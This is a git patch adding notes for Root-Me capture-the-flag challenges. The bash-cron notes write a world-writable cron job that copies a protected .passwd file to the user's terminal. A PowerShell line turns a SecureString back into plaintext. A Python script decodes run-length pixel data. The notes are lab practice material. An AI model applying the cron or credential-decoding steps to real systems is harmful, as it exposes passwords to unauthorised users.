From 697912fcd2e9641719ad3da496e00bcff2197d67 Mon Sep 17 00:00:00 2001 From: Valentin Date: Mon, 13 Feb 2023 23:59:04 +0100 Subject: [PATCH] nouveaux challenges --- rootme/challenges/app-script/bash-cron/notes | 7 +++++++ .../app-script/powershell-securestring/notes | 1 + .../decomposition-pixelisee/input.txt | 12 ++++++++++++ .../cryptanalyse/decomposition-pixelisee/run.py | 17 +++++++++++++++++ 4 files changed, 37 insertions(+) create mode 100644 rootme/challenges/app-script/bash-cron/notes create mode 100644 rootme/challenges/app-script/powershell-securestring/notes create mode 100644 rootme/challenges/cryptanalyse/decomposition-pixelisee/input.txt create mode 100644 rootme/challenges/cryptanalyse/decomposition-pixelisee/run.py diff --git a/rootme/challenges/app-script/bash-cron/notes b/rootme/challenges/app-script/bash-cron/notes new file mode 100644 index 0000000..100a3cd --- /dev/null +++ b/rootme/challenges/app-script/bash-cron/notes @@ -0,0 +1,7 @@ +tty +=> /dev/pts/x +chmod 666 /dev/pts/x +echo 'cat .passwd > /dev/pts/x' > cron.d/vverdier +chmod 777 cron.d/vverdier + +Attendre que le script s'exécute ! diff --git a/rootme/challenges/app-script/powershell-securestring/notes b/rootme/challenges/app-script/powershell-securestring/notes new file mode 100644 index 0000000..51e8ad4 --- /dev/null +++ b/rootme/challenges/app-script/powershell-securestring/notes @@ -0,0 +1 @@ +jfdkjf;[System.Net.NetworkCredential]::new("", $SecurePassword).Password diff --git a/rootme/challenges/cryptanalyse/decomposition-pixelisee/input.txt b/rootme/challenges/cryptanalyse/decomposition-pixelisee/input.txt new file mode 100644 index 0000000..969a2d1 --- /dev/null +++ b/rootme/challenges/cryptanalyse/decomposition-pixelisee/input.txt @@ -0,0 +1,12 @@ +0x3+1x1+0x1+0x1+0x7+1x2+0x15+1x1+0x8+1x1+0x8+1x1+0x1+1x1+0x1+1x1+0x1+1x1+0x1+1x1+0x3+1x1+0x1+1x1+0x3+1x1+0x1+1x4+0x2+1x1+0x25 +0x2+1x1+0x4+1x1+0x4+1x3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x3+1x2+0x4 +0x2+1x1+0x3+1x5+0x5+1x2+0x7+1x1+0x4+1x2+0x2+1x1+0x2+1x2+0x1+1x1+0x3+1x1+0x6+1x2+0x2+1x2+0x3+1x2+0x2+1x3+0x1+1x1+0x6+1x3+0x3+1x5+0x3+1x1+0x4+1x1+0x5 +0x4+1x2+0x3+1x2+0x3+1x1+0x5+1x2+0x2+1x1+0x1+1x1+0x1+1x1+0x1+1x2+0x9+1x1+0x3+1x1+0x2+1x1+0x1+1x1+0x2+1x1+0x1+1x2+0x2+1x1+0x2+1x1+0x1+1x1+0x4+1x3+0x1+1x1+0x2+1x2+0x3+1x2+0x3+1x1+0x5+1x1+0x4+1x1+0x2 +0x6+1x5+0x4+1x1+0x1+1x1+0x2+1x2+0x6+1x1+0x1+1x7+0x4+1x3+0x3+1x1+0x4+1x1+0x2+1x2+0x4+1x1+0x6+1x1+0x6+1x8+0x3+1x1+0x5+1x1+0x7 +0x2+1x1+0x3+1x6+0x4+1x1+0x1+1x3+0x4+1x1+0x2+1x2+0x4+1x1+0x5+1x1+0x2+1x1+0x3+1x2+0x3+1x1+0x2+1x3+0x1+1x1+0x2+1x2+0x3+1x3+0x2+1x3+0x9+1x1+0x4+1x2+0x7+1x2 diff --git a/rootme/challenges/cryptanalyse/decomposition-pixelisee/run.py b/rootme/challenges/cryptanalyse/decomposition-pixelisee/run.py new file mode 100644 index 0000000..f4f05de --- /dev/null +++ b/rootme/challenges/cryptanalyse/decomposition-pixelisee/run.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +f = open("input.txt", mode="r") +lines = f.readlines() +f.close() + +for line in lines: + if line: + chunks = line.split("+") + for chunk in chunks: + s = chunk.split("x") + color = "0" if s[0] == "1" else " " + count = int(s[1]) + print(color * count, end="") + print("") + +